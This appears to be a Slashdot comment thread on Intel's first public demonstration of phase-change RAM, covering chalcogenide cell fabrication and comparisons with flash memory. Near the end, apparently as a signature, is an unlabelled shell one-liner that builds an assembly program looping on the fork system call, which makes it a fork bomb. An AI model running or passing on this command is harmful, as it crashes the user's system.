Intel Set To Demo PRAM
xavatarx writes "Intel's chief technology officer Justin Rattner is set to give the first public demonstration of the company's PRAM (phase-change RAM) technology at this week's Intel Developer Forum conference. 'Intel and other companies are counting on PRAM to replace both NOR and NAND flash memory to generate the demand required to produce the new memory chips in volume, and drive down costs,' the article says."
The guy is going to look like a real froot-loop.
I don't need no instructions to know how to rock!!!!
Well:
Apple PRAM == Parameter RAM
Intel PRAM == Phase-change RAM
While:
Parameter RAM == Any kind of conventional (probably non volatile) RAM
Phase-change RAM == New kind of non volatile RAM using a new phase change technology
Thus:
Apple PRAM != Phase-change RAM
QUED.
I found this paper.
n g/OEG20030919S0044
http://www.ovonyx.com/tech_html.html
It sounds like the chalcogenide is deposited as a thin film. Mind you they talk about transistors, so it must be an extra processing stage on a normal chip.
This seems to confirm it
http://www.eetimes.com/in_focus/silicon_engineeri
Chalcogenide RAM is nonvolatile, boasts access speed comparable to that of DRAM and possesses advantages in scalability, high sensing margin, low energy consumption and endurance to cycling. The structure and processing of chalcogenide memory are much simpler than in other next-generation memories such as MRAM and ferroelectric RAM. In a chalcogenide memory cell, the data is stored in a flat chalcogenide layer that can be deposited near the end of the CMOS interconnect process. Therefore, disturbance of the CMOS process is minimal, making it ideal for systems-on-chip.
So I guess they add an extra step to the end of the process and deposit a layer of chalcogenide glass.
These things sound really cool BTW, they're writable at a byte granularity in tens of nanoseconds just like a regular SDRAM, but they are non volatile. It looks like they can flip bits individually either way too.
Whereas flash memory is much slower - tens of microseconds per byte, and you need to erase 16K-128Kbyte block at a time. And PRAM is supposed to be denser and allow unlimited erase cycles.
Plus Intel is backing it so it's not like it will fail because the vendor can't afford to scale the production process to make chips with a high capacity.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
The more you regulate a company, the worse its products become.